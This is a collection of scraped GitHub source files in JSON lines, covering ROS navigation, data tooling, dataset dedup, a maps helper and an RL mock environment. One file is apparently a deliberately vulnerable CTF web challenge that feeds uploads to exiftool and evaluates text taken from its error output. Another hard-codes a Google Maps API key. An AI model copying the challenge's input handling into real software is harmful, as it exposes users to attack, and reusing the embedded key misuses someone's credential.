+{"seq_id":"23022539248","text":"#!/usr/bin/env python\n#-*-coding: utf-8 -*-\n\nimport rospy\nfrom move_base_msgs.msg import MoveBaseAction, MoveBaseGoal\nimport actionlib\nfrom actionlib_msgs.msg import *\nfrom geometry_msgs.msg import Pose, Point, Quaternion\n\nclass GoToPose():\n    def __init__(self):\n\n        self.goal_sent = False\n\n        rospy.loginfo(\"To stop TurtleBot CTRL + C\")\n        rospy.on_shutdown(self.shutdown)\n\n        #ActionClient olusturuldu\n        self.move_base = actionlib.SimpleActionClient(\"move_base\", MoveBaseAction)\n        rospy.loginfo(\"Wait for the action server to come up\")\n\n        #action server'in calısması icin 5sn bekleyin\n        self.move_base.wait_for_server(rospy.Duration(5))\n\n    def goto(self, pos, quat):\n\n        #Robot'a gorev parametreleri verildi.\n        self.goal_sent = True\n        goal = MoveBaseGoal()\n        goal.target_pose.header.frame_id = 'map'\n        goal.target_pose.header.stamp = rospy.Time.now()\n        goal.target_pose.pose = Pose(Point(pos['x'], pos['y'], 0.000),\n                                     Quaternion(quat['r1'], quat['r2'], quat['r3'], quat['r4']))\n\n        #Robot Hedefe gonderildi.\n        self.move_base.send_goal(goal)\n\n        #gorev tamamlanana kadar 60sn bekle ve gorevin sonucunu dondur.\n        success = self.move_base.wait_for_result(rospy.Duration(90)) \n\n        state = self.move_base.get_state()\n        if success and state == GoalStatus.SUCCEEDED:\n            result = True\n        else:\n            self.move_base.cancel_goal()\n            result = False\n\n        self.goal_sent = False\n        return result\n\n    def shutdown(self):\n        if self.goal_sent:\n            self.move_base.cancel_goal()\n        rospy.loginfo(\"Stop\")\n        rospy.sleep(1)\n\nif __name__ == '__main__':\n    try:\n        rospy.init_node('nav_test', anonymous=False)\n        navigator = GoToPose()\n\n        # Gorev parametreleri\n        position = {'x': -1.64, 'y': -5.36} #Kullanılan haritaya gore koordinatlar guncellenmelidir.\n        quaternion = {'r1' : 0.000, 'r2' : 0.000, 'r3' : 0.000, 'r4' : 1.000}\n\n        rospy.loginfo(\"Go to (%s, %s) pose\", position['x'], position['y'])\n        success = navigator.goto(position, quaternion)\n\n        if success:\n            rospy.loginfo(\"Hooray, reached the desired pose\")\n        else:\n            rospy.loginfo(\"The base failed to reach the desired pose\")\n\n        rospy.sleep(1)\n\n    except rospy.ROSInterruptException:\n        rospy.loginfo(\"Ctrl-C caught. Quitting\")\n\n","repo_name":"NevzatBOL/ROS-Intermediate","sub_path":"turtlebot_ws/src/turtlebot_control/scripts/go_to_specific_point_on_map.py","file_name":"go_to_specific_point_on_map.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"73181945848","text":"#计算字符个数\n#https://www.nowcoder.com/practice/a35ce98431874e3a820dbe4b2d0508b1?tpId=37&tqId=21225&tPage=1&rp=&ru=%2Fta%2Fhuawei&qru=%2Fta%2Fhuawei%2Fquestion-ranking\nimport sys\nstrList = []\ncount = 0\nfor line in sys.stdin:\n    tempStr = line.split()\n    strList.extend(tempStr)\nstring = strList[0]\n#new_string = string[1:]\ntarget = strList[1]\n#new_target = target[:(len(target)-1)]\nfor i in range(0, len(string)):\n    if (string[i].lower() == target or string[i].upper() == target):\n        count = count + 1\nprint(count)\n","repo_name":"getstart1/practice_algorithms","sub_path":"count_character.py","file_name":"count_character.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42684768643","text":"\"\"\"Read and write EcoTaxa archives and individual EcoTaxa TSV files.\"\"\"\n\nimport fnmatch\nimport io\nimport pathlib\nimport tarfile\nimport warnings\nimport zipfile\nfrom typing import IO, Callable, List, Union\n\nimport numpy as np\nimport pandas as pd\n\n__all__ = [\"read_tsv\", \"write_tsv\"]\n\n\ndef _fix_types(dataframe, enforce_types):\n    header = dataframe.columns.get_level_values(0)\n    types = dataframe.columns.get_level_values(1)\n\n    dataframe.columns = header\n\n    float_cols = []\n    text_cols = []\n    for c, t in zip(header, types):\n        if t == \"[f]\":\n            float_cols.append(c)\n        elif t == \"[t]\":\n            text_cols.append(c)\n        else:\n            # If the first row contains other values than [f] or [t],\n            # it is not a type header but a normal line of values and has to be inserted into the dataframe.\n            # This is the case for \"General export\".\n\n            # Clean up empty fields\n            types = [None if t.startswith(\"Unnamed\") else t for t in types]\n\n            # Prepend the current \"types\" to the dataframe\n            row0 = pd.DataFrame([types], columns=header).astype(dataframe.dtypes)\n\n            if enforce_types:\n                warnings.warn(\n                    \"enforce_types=True, but no type header was found.\", stacklevel=3\n                )\n\n            return pd.concat((row0, dataframe), ignore_index=True)\n\n    if enforce_types:\n        # Enforce [f] types\n        dataframe[float_cols] = dataframe[float_cols].astype(float)\n        dataframe[text_cols] = dataframe[text_cols].fillna(\"\").astype(str)\n\n    return dataframe\n\n\ndef _apply_usecols(\n    df: pd.DataFrame, usecols: Union[Callable, List[str]]\n) -> pd.DataFrame:\n    if callable(usecols):\n        columns = [c for c in df.columns.get_level_values(0) if usecols(c)]\n    else:\n        columns = [c for c in df.columns.get_level_values(0) if c in usecols]\n\n    return df[columns]\n\n\ndef read_tsv(\n    filepath_or_buffer,\n    encoding: str = \"utf-8-sig\",\n    enforce_types=False,\n    usecols: Union[None, Callable, List[str]] = None,\n    **kwargs,\n) -> pd.DataFrame:\n    \"\"\"\n    Read an individual EcoTaxa TSV file.\n\n    Args:\n        filepath_or_buffer (str, path object or file-like object): ...\n        encoding: Encoding of the TSV file.\n            With the default \"utf-8-sig\", both UTF8 and signed UTF8 can be read.\n        enforce_types: Enforce the column dtypes provided in the header.\n            Usually, it is desirable to allow pandas to infer the column dtypes.\n        usecols: List of strings or callable.\n        **kwargs: Additional kwargs are passed to :func:`pandas:pandas.read_csv`.\n\n    Returns:\n        A Pandas :class:`~pandas:pandas.DataFrame`.\n    \"\"\"\n\n    if usecols is not None:\n        chunksize = kwargs.pop(\"chunksize\", 10000)\n\n        # Read a few rows a time\n        dataframe: pd.DataFrame = pd.concat(\n            [\n                _apply_usecols(chunk, usecols)\n                for chunk in pd.read_csv(\n                    filepath_or_buffer,\n                    sep=\"\\t\",\n                    encoding=encoding,\n                    header=[0, 1],\n                    chunksize=chunksize,\n                    **kwargs,\n                )\n            ]\n        )  # type: ignore\n    else:\n        if kwargs.pop(\"chunksize\", None) is not None:\n            warnings.warn(\"Parameter chunksize is ignored.\")\n\n        dataframe: pd.DataFrame = pd.read_csv(\n            filepath_or_buffer, sep=\"\\t\", encoding=encoding, header=[0, 1], **kwargs\n        )  # type: ignore\n\n    return _fix_types(dataframe, enforce_types)\n\n\ndef _dtype_to_ecotaxa(dtype):\n    if np.issubdtype(dtype, np.number):\n        return \"[f]\"\n\n    return \"[t]\"\n\n\ndef write_tsv(\n    dataframe: pd.DataFrame,\n    path_or_buf=None,\n    encoding=\"utf-8\",\n    type_header=True,\n    **kwargs,\n):\n    \"\"\"\n    Write an individual EcoTaxa TSV file.\n\n    Args:\n        dataframe: A pandas DataFrame.\n        path_or_buf (str, path object or file-like object): ...\n        encoding: Encoding of the TSV file.\n            With the default \"utf-8\", both UTF8 and signed UTF8 readers can read the file.\n        enforce_types: Enforce the column dtypes provided in the header.\n            Usually, it is desirable to allow pandas to infer the column dtypes.\n        type_header (bool, default true): Include the type header ([t]/[f]).\n            This is required for a successful import into EcoTaxa.\n\n    Return:\n        None or str\n\n            If path_or_buf is None, returns the resulting csv format as a string. Otherwise returns None.\n    \"\"\"\n\n    if type_header:\n        # Make a copy before changing the index\n        dataframe = dataframe.copy()\n\n        # Inject types into header\n        type_header = [_dtype_to_ecotaxa(dt) for dt in dataframe.dtypes]\n        dataframe.columns = pd.MultiIndex.from_tuples(\n            list(zip(dataframe.columns, type_header))\n        )\n\n    return dataframe.to_csv(\n        path_or_buf, sep=\"\\t\", encoding=encoding, index=False, **kwargs\n    )\n\n\nclass MemberNotFoundError(Exception):\n    pass\n\n\nclass UnknownArchiveError(Exception):\n    pass\n\n\nclass _TSVIterator:\n    def __init__(self, archive: \"Archive\", tsv_fns, kwargs) -> None:\n        self.archive = archive\n        self.tsv_fns = tsv_fns\n        self.kwargs = kwargs\n\n    def __iter__(self):\n        for tsv_fn in self.tsv_fns:\n            with self.archive.open(tsv_fn) as f:\n                yield tsv_fn, read_tsv(f, **self.kwargs)\n\n    def __len__(self):\n        return len(self.tsv_fns)\n\n\nclass Archive:\n    \"\"\"\n    A generic archive reader and writer for ZIP and TAR archives.\n    \"\"\"\n\n    extensions: List[str] = []\n\n    def __new__(cls, archive_fn: Union[str, pathlib.Path], mode: str = \"r\"):\n        archive_fn = str(archive_fn)\n\n        if mode[0] == \"r\":\n            for subclass in cls.__subclasses__():\n                if subclass.is_readable(archive_fn):\n                    return super(Archive, subclass).__new__(subclass)\n\n            raise UnknownArchiveError(f\"No handler found to read {archive_fn}\")\n\n        if mode[0] in (\"a\", \"w\", \"x\"):\n            for subclass in cls.__subclasses__():\n                if any(archive_fn.endswith(ext) for ext in subclass.extensions):\n                    return super(Archive, subclass).__new__(subclass)\n\n            raise UnknownArchiveError(f\"No handler found to write {archive_fn}\")\n\n    @staticmethod\n    def is_readable(archive_fn) -> bool:\n        raise NotImplementedError()  # pragma: no cover\n\n    def __init__(self, archive_fn: Union[str, pathlib.Path], mode: str = \"r\"):\n        raise NotImplementedError()  # pragma: no cover\n\n    def open(self, member_fn, mode=\"r\") -> IO:\n        \"\"\"\n        Raises:\n            MemberNotFoundError if a member was not found\n        \"\"\"\n        raise NotImplementedError()  # pragma: no cover\n\n    def write_member(\n        self, member_fn, fileobj_or_bytes: Union[IO, bytes], compress_hint=True\n    ):\n        raise NotImplementedError()  # pragma: no cover\n\n    def find(self, pattern) -> List[str]:\n        return fnmatch.filter(self.members(), pattern)\n\n    def members(self) -> List[str]:\n        raise NotImplementedError()  # pragma: no cover\n\n    def close(self):\n        pass\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, *_, **__):\n        self.close()\n\n    def iter_tsv(self, **kwargs):\n        \"\"\"\n        Yield tuples of all (tsv_fn, data) in the archive.\n\n        Example:\n            with Archive(\"export.zip\") as archive:\n                for tsv_fn, tsv in archive.iter_tsv():\n                    # tsv_fn is the location of the tsv file (img_file_name is relative to that)\n                    # tsv is a pandas DataFrame containing all data\n                    ...\n\n        \"\"\"\n        return _TSVIterator(self, self.find(\"*.tsv\"), kwargs)\n\n\nclass _TarIO(io.BytesIO):\n    def __init__(self, archive: \"TarArchive\", member_fn) -> None:\n        super().__init__()\n        self.archive = archive\n        self.member_fn = member_fn\n\n    def close(self) -> None:\n        self.seek(0)\n        self.archive.write_member(self.member_fn, self)\n        super().close()\n\n\nclass TarArchive(Archive):\n    extensions = [\n        \".tar\",\n        \".tar.bz2\",\n        \".tb2\",\n        \".tbz\",\n        \".tbz2\",\n        \".tz2\",\n        \".tar.gz\",\n        \".taz\",\n        \".tgz\",\n        \".tar.lzma\",\n        \".tlz\",\n    ]\n\n    @staticmethod\n    def is_readable(archive_fn):\n        return tarfile.is_tarfile(archive_fn)\n\n    def __init__(self, archive_fn: Union[str, pathlib.Path], mode: str = \"r\"):\n        self._tar = tarfile.open(archive_fn, mode)\n        self.__members = None\n\n    def close(self):\n        self._tar.close()\n\n    def open(self, member_fn, mode=\"r\") -> IO:\n        if mode == \"r\":\n            try:\n                fp = self._tar.extractfile(self._resolve_member(member_fn))\n            except KeyError as exc:\n                raise MemberNotFoundError(\n                    f\"{member_fn} not in {self._tar.name}\"\n                ) from exc\n\n            if fp is None:\n                raise IOError(\"There's no data associated with this member\")\n\n            return fp\n\n        if mode == \"w\":\n            return _TarIO(self, member_fn)\n\n        raise ValueError(f\"Unrecognized mode: {mode}\")\n\n    @property\n    def _members(self):\n        if self.__members is not None:\n            return self.__members\n        self.__members = {\n            tar_info.name: tar_info for tar_info in self._tar.getmembers()\n        }\n        return self.__members\n\n    def _resolve_member(self, member):\n        return self._members[member]\n\n    def write_member(\n        self, member_fn: str, fileobj_or_bytes: Union[IO, bytes], compress_hint=True\n    ):\n        if isinstance(fileobj_or_bytes, bytes):\n            fileobj_or_bytes = io.BytesIO(fileobj_or_bytes)\n\n        if isinstance(fileobj_or_bytes, io.BytesIO):\n            tar_info = tarfile.TarInfo(member_fn)\n            tar_info.size = len(fileobj_or_bytes.getbuffer())\n        else:\n            tar_info = self._tar.gettarinfo(arcname=member_fn, fileobj=fileobj_or_bytes)\n\n        self._tar.addfile(tar_info, fileobj=fileobj_or_bytes)\n\n    def members(self):\n        return self._tar.getnames()\n\n\nclass ZipArchive(Archive):\n    extensions = [\".zip\"]\n\n    @staticmethod\n    def is_readable(archive_fn):\n        return zipfile.is_zipfile(archive_fn)\n\n    def __init__(self, archive_fn: Union[str, pathlib.Path], mode: str = \"r\"):\n        self._zip = zipfile.ZipFile(archive_fn, mode)\n\n    def members(self):\n        return self._zip.namelist()\n\n    def open(self, member_fn, mode=\"r\") -> IO:\n        try:\n            return self._zip.open(member_fn, mode)\n        except KeyError as exc:\n            raise MemberNotFoundError(\n                f\"{member_fn} not in {self._zip.filename}\"\n            ) from exc\n\n    def write_member(\n        self, member_fn: str, fileobj_or_bytes: Union[IO, bytes], compress_hint=True\n    ):\n        compress_type = zipfile.ZIP_DEFLATED if compress_hint else zipfile.ZIP_STORED\n        # TODO: Optimize for on-disk files and BytesIO (.getvalue())\n        if isinstance(fileobj_or_bytes, bytes):\n            return self._zip.writestr(\n                member_fn, fileobj_or_bytes, compress_type=compress_type\n            )\n\n        self._zip.writestr(\n            member_fn, fileobj_or_bytes.read(), compress_type=compress_type\n        )\n\n    def close(self):\n        self._zip.close()\n","repo_name":"ecotaxa/pyecotaxa","sub_path":"pyecotaxa/archive.py","file_name":"archive.py","file_ext":"py","file_size_in_byte":11415,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"38173627882","text":"\nimport os, queue, secrets, uuid\nfrom random import seed, randrange\n\n\nfrom flask import Flask, request, redirect, url_for, session, render_template, jsonify, Response\nfrom flask_executor import Executor\nfrom flask_jwt_extended import JWTManager\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.exceptions import HTTPException\nimport exifread, exiftool\nfrom exiftool.exceptions import *\nimport base64, re, ast\n\n\nfrom common.config import load_config, Config\nfrom common.error import APIError, FileNotAllowed\n\n\n\nconf = load_config()\nwork_queue = queue.Queue()\n\napp = Flask(__name__)\nexecutor = Executor(app)\n\napp.config.from_object(Config)\napp.jinja_env.add_extension(\"jinja2.ext.loopcontrols\")\napp.config['EXECUTOR_TYPE'] = 'thread'\napp.config['EXECUTOR_MAX_WORKERS'] = 5\n\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\nIMAGE_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\n\n\n@app.before_request\ndef before_request():\n    userAgent = request.headers\n\ndef allowed_file(filename):\n    return '.' in filename and \\\n           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n@app.errorhandler(Exception)\ndef handle_error(e):\n    code = 500\n    if isinstance(e, HTTPException):\n        code = e.code\n    return jsonify(error=str(e)), code\n\n\n@app.route('/')\ndef index():\n    return render_template(\n        'index.html.j2')\n\n@app.route('/upload', methods=[\"GET\",\"POST\"])\ndef upload():\n    try:\n        if request.method == 'GET':\n            return render_template(\n            'upload.html.j2')\n        elif request.method == 'POST':\n            if 'file' not in request.files:\n                return 'there is no file in form!'\n            file = request.files['file']\n            if file and allowed_file(file.filename):\n                _file = file.read()\n                tmpFileName = str(uuid.uuid4())\n                with open(\"tmp/\"+tmpFileName,'wb') as f:\n                    f.write(_file)\n                    f.close()\n                    tags = exifread.process_file(file)\n                    _encfile = base64.b64encode(_file)\n                    try:\n                        thumbnail = base64.b64encode(tags.get('JPEGThumbnail'))\n                    except:\n                        thumbnail = b'None'\n\n                with exiftool.ExifToolHelper() as et:\n                    metadata = et.get_metadata([\"tmp/\"+tmpFileName])[0]\n            else:\n                raise FileNotAllowed(file.filename.rsplit('.',1)[1])\n\n        os.remove(\"tmp/\"+tmpFileName)\n        return render_template(\n            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200\n    except FileNotAllowed as e:\n        return jsonify({\n                \"error\": APIError(\"FileNotAllowed Error Occur\", str(e)).__dict__,\n        }), 400\n    except ExifToolJSONInvalidError as e:\n        os.remove(\"tmp/\"+tmpFileName)\n        data = e.stdout\n        reg = re.findall('\\[(.*?)\\]',data, re.S )[0]\n        metadata = ast.literal_eval(reg)\n        if 0 != len(metadata):\n            return render_template(\n            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200\n        else:\n            return jsonify({\n                \"error\": APIError(\"ExifToolJSONInvalidError Error Occur\", str(e)).__dict__,\n        }), 400\n    except ExifToolException as e:\n        os.remove(\"tmp/\"+tmpFileName)\n        return jsonify({\n                \"error\": APIError(\"ExifToolException Error Occur\", str(e)).__dict__,\n        }), 400\n    except IndexError as e:\n        return jsonify({\n                \"error\": APIError(\"File extension could not found.\", str(e)).__dict__,\n        }), 400\n    except Exception as e:\n        os.remove(\"tmp/\"+tmpFileName)\n        return jsonify({\n                \"error\": APIError(\"Unknown Error Occur\", str(e)).__dict__,\n        }), 400\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0')\n","repo_name":"sajjadium/ctf-archives","sub_path":"ctfs/LINE/2023/web/imagexif/backend/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","stars":490,"dataset":"github-code","pt":"77"}
+{"seq_id":"20868513564","text":"import argparse\nimport os\nfrom glob import glob\n\nfrom lm_dataformat import Reader\nfrom tqdm import tqdm\n\n# isort: off\nimport sys\n\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../../../../..\"))\n# isort: on\nfrom modelzoo.transformers.data_processing.slimpajama.utils.utils import (\n    rm_if_exists,\n    sha256str,\n    write_lmd_dataset,\n)\n\n\ndef deduplicate_train_holdout_sets(\n    train_path, holdout_path, deduped_train_path, chunk_id\n):\n    # Calculate hashes on holdout set.\n    seen = set()\n    if os.path.exists(\"hashes.txt\"):\n        with open(\"hashes.txt\") as fh:\n            for line in tqdm(fh):\n                seen.add(line.strip())\n    else:\n        hashf = open(\"hashes.txt\", \"w\")\n        for f in tqdm(glob(f\"{holdout_path}/*/*.zst\")):\n            reader = Reader(f)\n            for doc_id, text in enumerate(\n                reader._stream_data(jsonl_key=\"text\")\n            ):\n                hash = sha256str(text)\n                hashf.write(hash + \"\\n\")\n                seen.add(hash)\n        hashf.close()\n\n    print(\"Finished collecting hashes for eval\", len(seen))\n\n    rm_if_exists(f\"{deduped_train_path}/chunk{chunk_id}\")\n    os.makedirs(f\"{deduped_train_path}/chunk{chunk_id}\")\n\n    total_written = 0\n    # Remove elements from train set with hashes seen in eval set.\n    for f in tqdm(glob(f\"{train_path}/chunk{chunk_id}/*.zst\")):\n\n        def filtered_docs():\n            reader = Reader(f)\n            for doc_id, doc in enumerate(reader._stream_data(get_meta=True)):\n                text, meta = doc\n                hash = sha256str(text)\n                if hash not in seen:\n                    yield text, meta\n                else:\n                    print(\"Found an intersection!!!\")\n\n        with open(\n            f\"{deduped_train_path}/chunk{chunk_id}/\" + f.split(\"/\")[-1], \"wb\"\n        ) as fout_dedup_train:\n            total_written += write_lmd_dataset(\n                fout_dedup_train,\n                filtered_docs(),\n                indices=None,\n                return_total_written=True,\n            )\n\n    print(f\"Total written: {total_written}\")\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"chunk_id\", type=int)\n    parser.add_argument(\"--src_dir\", type=str)\n    parser.add_argument(\"--tgt_dir\", type=str)\n    parser.add_argument(\"--out_dir\", type=str)\n    args = parser.parse_args()\n    deduplicate_train_holdout_sets(\n        args.src_dir, args.tgt_dir, args.out_dir, args.chunk_id,\n    )\n","repo_name":"Cerebras/modelzoo","sub_path":"modelzoo/transformers/data_processing/slimpajama/dedup/dedup_train.py","file_name":"dedup_train.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":747,"dataset":"github-code","pt":"77"}
+{"seq_id":"70613422969","text":"import requests\nimport grequests\nimport googlemaps\nimport bisect\nimport re\nimport time\nimport datetime\nfrom usig_normalizador_amba import NormalizadorAMBA\nimport os.path\nimport pickle\nfrom unidecode import unidecode\n\nif os.path.isfile('nd.pkl'):\n  with open('nd.pkl', 'rb') as f:\n    nd = pickle.load(f)\nelse:\n  nd = NormalizadorAMBA(include_list=['caba'])\n\nDEFAULT_FROM = { 'parsed': 'Facultad de Ciencias Exactas y Naturales - UBA, Av. Int. Cantilo, Buenos Aires, Argentina', 'text': 'ciudad universitaria' }\n\ngmaps = googlemaps.Client(key='AIzaSyDSJHXfqUJUSSlv5mt1Gx6fIwlTgWrkzgg')\nminutes_interval = { 'bounds': [6, 13, 17, 23, 27, 33, 37, 43, 47, 53, 59], 'names': ['5', '10', 'cuarto', '20', '25', 'media', '35', '40', '45', '50', '55'] }\ntranslate = { 'day': 'dia', 'hour': 'hora', 'min': 'minuto'}\nget_travel_by = {\n  'transit': 'transit',\n  'driving': 'driving',\n  'walking': 'walking',\n  'bicycling': 'bicycling',\n  'bondi': 'transit',\n  'manejando': 'driving',\n  'auto': 'driving',\n  'caminando': 'walking',\n  'patin': 'walking',\n  'tren': 'transit',\n  'subte': 'transit',\n  'colectivo': 'transit',\n  'moto': 'driving',\n  'carro': 'driving',\n  'pie': 'walking',\n  'bici': 'bicycling'\n}\n\ndef addresses_url(strings):\n  urls = []\n  for string in strings:\n    urls.append('http://servicios.usig.buenosaires.gob.ar/normalizar/?direccion={}, caba'.format(re.sub(r'(\\d)\\s+(?=\\d)', r'\\1', string)))\n  rs = (grequests.get(u) for u in urls)\n  rs = grequests.map(rs)\n  guesses = []\n  for s, r in zip(strings, rs):\n    possibilities = r.json()['direccionesNormalizadas']\n    if len(possibilities) == 0:\n      guesses.append(None)\n      continue\n    usig_address = possibilities[0]\n    res = { 'street_code': usig_address['cod_calle'], 'coordinates': usig_address['coordenadas'] }\n    if usig_address['cod_calle_cruce']:\n      res['street_code_2'] = usig_address['cod_calle_cruce']\n      res['text'] = '{} y {}'.format(pretty_street(usig_address['nombre_calle']), pretty_street(usig_address['nombre_calle_cruce']))\n    else:\n      res['number'] = usig_address['altura']\n      res['text'] = '{} {}'.format(pretty_street(usig_address['nombre_calle']), res['number'])\n    guesses.append(res)\n  return guesses\n\ndef addresses_nd(strings):\n  guesses = []\n  for s in strings:\n    possibilities = nd.normalizar(re.sub(r'(\\d)\\s+(?=\\d)', r'\\1', s))\n    if len(possibilities) == 0:\n      guesses.append(None)\n      continue\n    usig_address = possibilities[0]\n    res = { 'street_code': usig_address.calle.codigo, 'parsed': usig_address.toString() }\n    if usig_address.cruce:\n      res['street_code_2'] = usig_address.cruce.codigo\n      res['text'] = '{} y {}'.format(pretty_street(usig_address.calle.nombre), pretty_street(usig_address.cruce.nombre))\n    else:\n      res['number'] = usig_address.altura\n      res['text'] = '{} {}'.format(pretty_street(usig_address.calle.nombre), usig_address.altura)\n    guesses.append(res)\n  return guesses\n\ndef pretty_number(number):\n  return (number - (number % 100)) if number > 99 else number\n\ndef pretty_street(street):\n  if street.find('AV.') != -1:\n    return 'Avenida {}'.format(street).replace(' AV.','').title()\n  return street.title()\n\ndef barrio(x, y):\n  url = 'http://ws.usig.buenosaires.gob.ar/datos_utiles?x={}&y={}'.format(x, y)\n  r = requests.get(url)\n  return r.json()['barrio']\n\ndef travel_time(ffrom, to, by='transit', departure_at=None, arrival_at=None):\n  travel_params = {}\n  if arrival_at:\n    travel_params['arrival_time'] = arrival_at\n  elif departure_at:\n    travel_params['departure_time'] = departure_at\n  travel_params['mode'] = by\n  directions_result = gmaps.directions(ffrom, to, **travel_params)\n  return directions_result\n\ndef pretty_duration(time_string):\n  for k, v in translate.items():\n    time_string = time_string.replace(k, v)\n  parts = time_string.split(' ')\n  if len(parts) == 6:\n    return '{} {}, {} {} y {} {}'.format(*parts)\n  elif len(parts) == 4:\n    return '{} {} y {}'.format(*parts[:2], pretty_minutes(parts[2]))\n  elif len(parts) == 2:\n    return '{} {}'.format(*parts)\n\ndef pretty_minutes(minutes):\n  return minutes_interval['names'][bisect.bisect_left(minutes_interval['bounds'], int(minutes))]\n\ndef pretty_time(time):\n  now = datetime.datetime.now()\n  hour = time.hour\n  if time.hour > 12:\n    hour -= 12\n  if time.hour > 19:\n    time_of_day = 'de la noche'\n  elif time.hour > 12:\n    time_of_day = 'de la tarde'\n  else:\n    time_of_day = 'de la mañana'\n  minutes = pretty_minutes(time.minute)\n  output = []\n  output.append(str(hour))\n  if minutes == 'media' or minutes == 'cuarto':\n    output.append('y {}'.format(minutes))\n  elif time.minute != 0:\n    output.append(str(minutes))\n  if now.day != time.day or (now.hour < 12 and now.hour < time.hour):\n    output.append(time_of_day)\n  return ' '.join(output)\n\ndef travel_info(ffrom, to, by='bondi', departure_at=None, arrival_at=None):\n  travel_by = get_travel_by[by]\n  if ffrom == None:\n    ffrom = DEFAULT_FROM\n  if ffrom.get('coordinates', None) == None:\n    from_address = ffrom['parsed']\n    to_address = to['parsed']\n  else:\n    from_address = '{},{}'(ffrom['coordinates']['y'], ffrom['coordinates']['x'])\n    to_address = '{},{}'(to['coordinates']['y'], to['coordinates']['x'])\n  routes = travel_time(\n                        from_address,\n                        to_address,\n                        by=travel_by,\n                        departure_at=departure_at,\n                        arrival_at=arrival_at\n                      )\n  if len(routes) == 0:\n    return None\n  route = routes[0]['legs'][0]\n  info = {}\n  # info['to_barrio'] = barrio(requested_address['coordinates']['x'], requested_address['coordinates']['y'])\n  info['from'] = ffrom['text']\n  info['to'] = to['text']\n  info['duration'] = pretty_duration(route['duration']['text'])\n  if departure_at:\n    info['arrival_time'] = departure_at + datetime.timedelta(seconds=route['duration']['value'])\n    info['departure_time'] = departure_at\n  elif arrival_at:\n    info['departure_time'] = arrival_at - datetime.timedelta(seconds=route['duration']['value'])\n    info['arrival_time'] = arrival_at\n  else:\n    info['arrival_time'] = datetime.datetime.now() + datetime.timedelta(seconds=route['duration']['value'])\n    info['departure_time'] = datetime.datetime.now()\n  info['distance'] = route['distance']['text']\n  info['travel_by'] = travel_by\n  return info\n","repo_name":"chcuneo/ph-tp2","sub_path":"directions.py","file_name":"directions.py","file_ext":"py","file_size_in_byte":6359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15535696158","text":"import tree\nimport dm_env\nfrom dm_env import specs\nimport numpy as np\n\nBOUNDED_OBS_SHAPE = (2, 2, 1)\nACT_DIM = 5\nREWARD_SPEC = specs.Array(shape=(), dtype=float, name=\"reward\")\nDISCOUNT_SPEC = specs.BoundedArray(\n        shape=(), dtype=float, minimum=0., maximum=1., name=\"discount\")\n\n\nclass MockEnv(dm_env.Environment):\n    \"\"\"Testing env with a time limit.\"\"\"\n\n    def __init__(self,\n                 obs_spec: specs.Array,\n                 act_spec: specs.Array,\n                 reward_const: float = 1.,\n                 discount_const: float = 1.,\n                 time_limit: int = float(\"inf\")\n                 ):\n        self._obs_spec = obs_spec\n        self._act_spec = act_spec\n        self._reward_const = reward_const\n        self._discount_const = discount_const\n\n        self._time_limit = time_limit\n        self._step = None\n\n    def reset(self) -> dm_env.TimeStep:\n        self._step = 0\n        return dm_env.restart(self._get_obs())\n\n    def step(self, action) -> dm_env.TimeStep:\n        self._step += 1\n        if self._step < self._time_limit:\n            fn = dm_env.transition\n        else:\n            fn = dm_env.truncation\n        return fn(\n            self._reward_const,\n            self._get_obs(),\n            self._discount_const\n        )\n\n    def _get_obs(self):\n        return tree.map_structure(specs.Array.generate_value,\n                                  self.observation_spec())\n\n    def observation_spec(self):\n        return self._obs_spec\n\n    def action_spec(self):\n        return self._act_spec\n\n\nclass TestEnv(MockEnv):\n\n    def __init__(self, discrete: bool = False):\n        obs_spec = dict(\n            bounded_obs=specs.BoundedArray(\n                BOUNDED_OBS_SHAPE, np.uint8,\n                minimum=np.full(BOUNDED_OBS_SHAPE, 0),\n                maximum=np.full(BOUNDED_OBS_SHAPE, 255),\n                name=\"bounded_obs\"),\n            scalar_obs=specs.Array((), np.float32, name=\"scalar_obs\")\n        )\n        if discrete:\n            act_spec = specs.DiscreteArray(ACT_DIM)\n        else:\n            lim = np.full((ACT_DIM,), 1.)\n            act_spec = specs.BoundedArray((ACT_DIM,), float, -lim, lim)\n        super().__init__(obs_spec, act_spec)\n","repo_name":"lkhromykh/rltools","sub_path":"tests/mock_env.py","file_name":"mock_env.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
